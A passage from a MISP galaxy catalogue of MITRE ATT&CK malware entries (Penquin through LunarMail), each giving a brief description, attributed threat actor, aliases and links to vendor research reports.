Penquin - S0587

[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)

The tag is: *misp-galaxy:mitre-malware="Penquin - S0587"*

Penquin - S0587 is also known as:

- Penquin
- Penquin 2.0
- Penquin_x64

Table 11607. Table References

Links
https://attack.mitre.org/software/S0587
https://securelist.com/the-penquin-turla-2/67962/
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf

GoldFinder - S0597

[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2

related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: *misp-galaxy:mitre-malware="GoldFinder - S0597"*

GoldFinder - S0597 is also known as:

- GoldFinder

Table 11608. Table References

Links
https://attack.mitre.org/software/S0597
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Waterbear - S0579

[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)

The tag is: *misp-galaxy:mitre-malware="Waterbear - S0579"*

Waterbear - S0579 is also known as:

- Waterbear

Table 11609. Table References

Links
https://attack.mitre.org/software/S0579
https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html

GoldMax - S0588

[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike

StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-malware="GoldMax - S0588"*

GoldMax - S0588 is also known as:

- GoldMax
- SUNSHUTTLE

Table 11610. Table References

Links
https://attack.mitre.org/software/S0588
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Sibot - S0589

[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024).(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: *misp-galaxy:mitre-malware="Sibot - S0589"*

Sibot - S0589 is also known as:

- Sibot

Table 11611. Table References

Links
https://attack.mitre.org/software/S0589
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Kinsing - S0599

[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: *misp-galaxy:mitre-malware="Kinsing - S0599"*

Kinsing - S0599 is also known as:

- Kinsing

Table 11612. Table References

Links
https://attack.mitre.org/software/S0599
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/

Gelsemium - S0666

[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-malware="Gelsemium - S0666"*

Gelsemium - S0666 is also known as:

- Gelsemium
- Gelsevirine
- Gelsenicine
- Gelsemine

Table 11613. Table References

Links
https://attack.mitre.org/software/S0666
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

Chrommme - S0667

[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666)

malware.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-malware="Chrommme - S0667"*

Chrommme - S0667 is also known as:

- Chrommme

Table 11614. Table References

Links
https://attack.mitre.org/software/S0667
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

QuietSieve - S0686

[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-malware="QuietSieve - S0686"*

QuietSieve - S0686 is also known as:

- QuietSieve

Table 11615. Table References

Links
https://attack.mitre.org/software/S0686
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

TinyTurla - S0668

[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)

The tag is: *misp-galaxy:mitre-malware="TinyTurla - S0668"*

TinyTurla - S0668 is also known as:

- TinyTurla

Table 11616. Table References

Links
https://attack.mitre.org/software/S0668
https://blog.talosintelligence.com/2021/09/tinyturla.html

KOCTOPUS - S0669

[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-malware="KOCTOPUS - S0669"*

KOCTOPUS - S0669 is also known as:

- KOCTOPUS

Table 11617. Table References

Links
https://attack.mitre.org/software/S0669
https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

Flagpro - S0696

[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)

The tag is: *misp-galaxy:mitre-malware="Flagpro - S0696"*

Flagpro - S0696 is also known as:

- Flagpro

Table 11618. Table References

Links
https://attack.mitre.org/software/S0696
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech

Torisma - S0678

[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Torisma - S0678"*

Torisma - S0678 is also known as:

- Torisma

Table 11619. Table References

Links
https://attack.mitre.org/software/S0678
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/

Ferocious - S0679

[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-malware="Ferocious - S0679"*

Ferocious - S0679 is also known as:

- Ferocious

Table 11620. Table References

Links
https://attack.mitre.org/software/S0679
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

HermeticWiper - S0697

[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)

The tag is: *misp-galaxy:mitre-malware="HermeticWiper - S0697"*

HermeticWiper - S0697 is also known as:

- HermeticWiper
- Trojan.Killdisk
- DriveSlayer

Table 11621. Table References

Links
https://attack.mitre.org/software/S0697
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine

Meteor - S0688

[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)

The tag is: *misp-galaxy:mitre-malware="Meteor - S0688"*

Meteor - S0688 is also known as:

- Meteor

Table 11622. Table References

Links
https://attack.mitre.org/software/S0688
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/

WhisperGate - S0689

[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)

The tag is: *misp-galaxy:mitre-malware="WhisperGate - S0689"*

WhisperGate - S0689 is also known as:

- WhisperGate

Table 11623. Table References

Links
https://attack.mitre.org/software/S0689
https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family
https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

HermeticWizard - S0698

[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)

The tag is: *misp-galaxy:mitre-malware="HermeticWizard - S0698"*

HermeticWizard - S0698 is also known as:

- HermeticWizard

Table 11624. Table References

Links
https://attack.mitre.org/software/S0698
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine

DarkGate - S1111

[DarkGate](https://attack.mitre.org/software/S1111) first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named "DarkGate" by its author, [DarkGate](https://attack.mitre.org/software/S1111) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.(Citation: Ensilo Darkgate 2018) DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.(Citation: Trellix Darkgate 2023)

The tag is: *misp-galaxy:mitre-malware="DarkGate - S1111"*

DarkGate - S1111 is also known as:

- DarkGate

Table 11625. Table References

Links
https://attack.mitre.org/software/S1111
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign
https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/

STEADYPULSE - S1112

[STEADYPULSE](https://attack.mitre.org/software/S1112) is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.(Citation: Mandiant Pulse Secure Zero-Day April 2021)

The tag is: *misp-galaxy:mitre-malware="STEADYPULSE - S1112"*

STEADYPULSE - S1112 is also known as:

- STEADYPULSE

Table 11626. Table References

Links
https://attack.mitre.org/software/S1112
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Hannotog - S1211

[Hannotog](https://attack.mitre.org/software/S1211) is a type of backdoor malware uniquely assoicated with [Lotus Blossom](https://attack.mitre.org/groups/G0030) operations since at least 2022.(Citation: Symantec Bilbug 2022)

The tag is: *misp-galaxy:mitre-malware="Hannotog - S1211"*

Hannotog - S1211 is also known as:

- Hannotog

Table 11627. Table References

Links
https://attack.mitre.org/software/S1211
https://www.security.com/threat-intelligence/espionage-asia-governments-cert-authority

RAPIDPULSE - S1113

[RAPIDPULSE](https://attack.mitre.org/software/S1113) is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by [APT5](https://attack.mitre.org/groups/G1023) since at least 2021.(Citation: Mandiant Pulse Secure Update May 2021)

The tag is: *misp-galaxy:mitre-malware="RAPIDPULSE - S1113"*

RAPIDPULSE - S1113 is also known as:

- RAPIDPULSE

Table 11628. Table References

Links
https://attack.mitre.org/software/S1113
https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices

ZIPLINE - S1114

[ZIPLINE](https://attack.mitre.org/software/S1114) is a passive backdoor that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) on compromised Secure Connect VPNs for reverse shell and proxy functionality.(Citation: Mandiant Cutting Edge January 2024)

The tag is: *misp-galaxy:mitre-malware="ZIPLINE - S1114"*

ZIPLINE - S1114 is also known as:

- ZIPLINE

Table 11629. Table References

Links
https://attack.mitre.org/software/S1114
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day

LunarWeb - S1141

[LunarWeb](https://attack.mitre.org/software/S1141) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarMail](https://attack.mitre.org/software/S1142). [LunarWeb](https://attack.mitre.org/software/S1141) has only been observed deployed against servers and can use [Steganography](https://attack.mitre.org/techniques/T1001/002) to obfuscate command and control.(Citation: ESET Turla Lunar toolset May 2024)

The tag is: *misp-galaxy:mitre-malware="LunarWeb - S1141"*

LunarWeb - S1141 is also known as:

- LunarWeb

Table 11630. Table References

Links
https://attack.mitre.org/software/S1141
https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/

ZeroCleare - S1151

[ZeroCleare](https://attack.mitre.org/software/S1151) is a wiper malware that has been used in conjunction with the [RawDisk](https://attack.mitre.org/software/S0364) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)(Citation: IBM ZeroCleare Wiper December 2019)

The tag is: *misp-galaxy:mitre-malware="ZeroCleare - S1151"*

ZeroCleare - S1151 is also known as:

- ZeroCleare
- ZEROCLEAR

Table 11631. Table References

Links
https://attack.mitre.org/software/S1151
https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/
https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a
https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/

WIREFIRE - S1115

[WIREFIRE](https://attack.mitre.org/software/S1115) is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. [WIREFIRE](https://attack.mitre.org/software/S1115) was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) for downloading files and command execution.(Citation: Mandiant Cutting Edge January 2024)

The tag is: *misp-galaxy:mitre-malware="WIREFIRE - S1115"*

WIREFIRE - S1115 is also known as:

- WIREFIRE
- GIFTEDVISITOR

Table 11632. Table References

Links
https://attack.mitre.org/software/S1115
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

WARPWIRE - S1116

[WARPWIRE](https://attack.mitre.org/software/S1116) is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to target Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)

The tag is: *misp-galaxy:mitre-malware="WARPWIRE - S1116"*

WARPWIRE - S1116 is also known as:

- WARPWIRE

Table 11633. Table References

Links
https://attack.mitre.org/software/S1116
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day

BPFDoor - S1161

[BPFDoor](https://attack.mitre.org/software/S1161) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://attack.mitre.org/software/S1161) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://attack.mitre.org/software/S1161) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 2023)

The tag is: *misp-galaxy:mitre-malware="BPFDoor - S1161"*

BPFDoor - S1161 is also known as:

- BPFDoor
- JustForFun
- Backdoor.Linux.BPFDOOR
- Backdoor.Solaris.BPFDOOR.ZAJE

Table 11634. Table References

Links
https://attack.mitre.org/software/S1161
https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game
https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

GLASSTOKEN - S1117

[GLASSTOKEN](https://attack.mitre.org/software/S1117) is a custom web shell used by threat actors during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to execute commands on compromised Ivanti Secure Connect VPNs.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)

The tag is: *misp-galaxy:mitre-malware="GLASSTOKEN - S1117"*

GLASSTOKEN - S1117 is also known as:

- GLASSTOKEN

Table 11635. Table References

Links
https://attack.mitre.org/software/S1117
https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

OilCheck - S1171

[OilCheck](https://attack.mitre.org/software/S1171) is a C#/.NET downloader that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2022 including against targets in Israel. [OilCheck](https://attack.mitre.org/software/S1171) uses draft messages created in a shared email account for C2 communication.(Citation: ESET OilRig Downloaders DEC 2023)

The tag is: *misp-galaxy:mitre-malware="OilCheck - S1171"*

OilCheck - S1171 is also known as:

- OilCheck

Table 11636. Table References

Links
https://attack.mitre.org/software/S1171
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/

BUSHWALK - S1118

[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://attack.mitre.org/campaigns/C0029).(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)

The tag is: *misp-galaxy:mitre-malware="BUSHWALK - S1118"*

BUSHWALK - S1118 is also known as:

- BUSHWALK

Table 11637. Table References

Links
https://attack.mitre.org/software/S1118
https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

LIGHTWIRE - S1119

[LIGHTWIRE](https://attack.mitre.org/software/S1119) is a web shell written in Perl that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge January 2024)

The tag is: *misp-galaxy:mitre-malware="LIGHTWIRE - S1119"*

LIGHTWIRE - S1119 is also known as:

- LIGHTWIRE

Table 11638. Table References

Links
https://attack.mitre.org/software/S1119
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day

Megazord - S1191

[Megazord](https://attack.mitre.org/software/S1191) is a Rust-based variant of [Akira](https://attack.mitre.org/software/S1129) ransomware that has been in use since at least August 2023 to target Windows environments. [Megazord](https://attack.mitre.org/software/S1191) has been attributed to the [Akira](https://attack.mitre.org/groups/G1024) group based on overlapping infrastructure though is possibly not exclusive to the group.(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)(Citation: Palo Alto Howling Scorpius DEC 2024)

The tag is: *misp-galaxy:mitre-malware="Megazord - S1191"*

Megazord - S1191 is also known as:

- Megazord

Table 11639. Table References

Links
https://attack.mitre.org/software/S1191
https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/
https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf

MOPSLED - S1221

[MOPSLED](https://attack.mitre.org/software/S1221) is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including [UNC3886](https://attack.mitre.org/groups/G1048) and [APT41](https://attack.mitre.org/groups/G0096).(Citation: Google Cloud Mandiant UNC3886 2024)

The tag is: *misp-galaxy:mitre-malware="MOPSLED - S1221"*

MOPSLED - S1221 is also known as:

- MOPSLED

Table 11640. Table References

Links
https://attack.mitre.org/software/S1221
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations

RansomHub - S1212

[RansomHub](https://attack.mitre.org/software/S1212) is a ransomware-as-a-service (RaaS) offering with Windows, ESXi, Linux, and FreeBSD versions that has been in use since at least 2024 to target organizations in multiple sectors globally. [RansomHub](https://attack.mitre.org/software/S1212) operators may have purchased and rebranded resources from Knight (formerly Cyclops) Ransomware which shares infrastructure, feature, and code overlaps with [RansomHub](https://attack.mitre.org/software/S1212).(Citation: CISA RansomHub AUG 2024)(Citation: Group-IB RansomHub FEB 2025)

The tag is: *misp-galaxy:mitre-malware="RansomHub - S1212"*

RansomHub - S1212 is also known as:

- RansomHub

Table 11641. Table References

Links
https://attack.mitre.org/software/S1212
https://www.cisa.gov/sites/default/files/2024-09/aa24-242a-stopransomware-ransomhub-ransomware_1.pdf
https://www.group-ib.com/blog/ransomhub-never-sleeps-episode-1/

Mispadu - S1122

[Mispadu](https://attack.mitre.org/software/S1122) is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: SCILabs Malteiro 2021) This malware is operated, managed, and sold by the [Malteiro](https://attack.mitre.org/groups/G1026) cybercriminal group.(Citation: SCILabs Malteiro 2021) [Mispadu](https://attack.mitre.org/software/S1122) has mainly been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.(Citation: SCILabs Malteiro 2021)(Citation: SCILabs URSA/Mispadu Evolution 2023)(Citation: Segurança Informática URSA Sophisticated Loader 2020)

The tag is: *misp-galaxy:mitre-malware="Mispadu - S1122"*

Mispadu - S1122 is also known as:

- Mispadu

Table 11642. Table References

Links
https://attack.mitre.org/software/S1122
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/
https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/

https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/
https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/

SpyC23 - S1195

[SpyC23](https://attack.mitre.org/software/S1195) is a mobile malware that has been used by [APT-C-23](https://attack.mitre.org/groups/G1028) since at least 2017. [SpyC23](https://attack.mitre.org/software/S1195) has been observed primarily targeting Android devices in the Middle East.(Citation: welivesecurity_apt-c-23)

There are multiple close variants of [SpyC23](https://attack.mitre.org/software/S1195), such as VAMP(Citation: Unit42 VAMP 2017), GnatSpy(Citation: Trendmicro GnatSpy 2017), [Desert Scorpion](https://attack.mitre.org/software/S0505) and [FrozenCell](https://attack.mitre.org/software/S0577), which add some additional functionality but are not significantly different from the original malware.

The tag is: *misp-galaxy:mitre-malware="SpyC23 - S1195"*

SpyC23 - S1195 is also known as:

- SpyC23

Table 11643. Table References

Links
https://attack.mitre.org/software/S1195
https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://web.archive.org/web/20201123042131/www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/
https://www.trendmicro.com/en_us/research/17/l/new-gnatspy-mobile-malware-family-discovered.html

GodFather - S1231

[GodFather](https://attack.mitre.org/software/S1231) is an Android banking malware that uses virtualization to mimic legitimate applications and abuses accessibility services and other permissions to evade detection and exfiltrate sensitive data. First identified in 2020, [GodFather](https://attack.mitre.org/software/S1231) targets nearly 500 banking applications, cryptocurrency wallets, and exchanges worldwide; however, its virtualization-based attacks have primarily focused on several Turkish financial institutions. This capability enables threat actors to steal banking credentials and other sensitive account information. (Citation: ZimperiumOrtegaPratapagiri_GodFather_Jun2025)(Citation: MerkleScience_Godfather_April2023)

The tag is: *misp-galaxy:mitre-malware="GodFather - S1231"*

GodFather - S1231 is also known as:

- GodFather

Table 11644. Table References

Links
https://attack.mitre.org/software/S1231
https://www.merklescience.com/blog/the-godfather-android-malware-threat-under-the-lens
https://zimperium.com/blog/your-mobile-app-their-playground-the-dark-side-of-the-virtualization

PITSTOP - S1123

[PITSTOP](https://attack.mitre.org/software/S1123) is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to enable command execution and file read/write.(Citation: Mandiant Cutting Edge Part 3 February 2024)

The tag is: *misp-galaxy:mitre-malware="PITSTOP - S1123"*

PITSTOP - S1123 is also known as:

- PITSTOP

Table 11645. Table References

Links
https://attack.mitre.org/software/S1123
https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence

SocGholish - S1124

[SocGholish](https://attack.mitre.org/software/S1124) is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by [Mustard Tempest](https://attack.mitre.org/groups/G1020) and its access has been sold to groups including [Indrik Spider](https://attack.mitre.org/groups/G0119) for downloading secondary RAT and ransomware payloads.(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)

The tag is: *misp-galaxy:mitre-malware="SocGholish - S1124"*

SocGholish - S1124 is also known as:

- SocGholish
- FakeUpdates

Table 11646. Table References

Links
https://attack.mitre.org/software/S1124
https://redcanary.com/threat-detection-report/threats/socgholish/
https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
https://www.secureworks.com/research/threat-profiles/gold-prelude
https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/

LunarMail - S1142

[LunarMail](https://attack.mitre.org/software/S1142) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarWeb](https://attack.mitre.org/software/S1141). [LunarMail](https://attack.mitre.org/software/S1142) is designed to be deployed on workstations and can use email messages and [Steganography](https://attack.mitre.org/techniques/T1001/002) in command and control.(Citation: ESET Turla Lunar toolset May 2024)

The tag is: *misp-galaxy:mitre-malware="LunarMail - S1142"*

LunarMail - S1142 is also known as:

- LunarMail
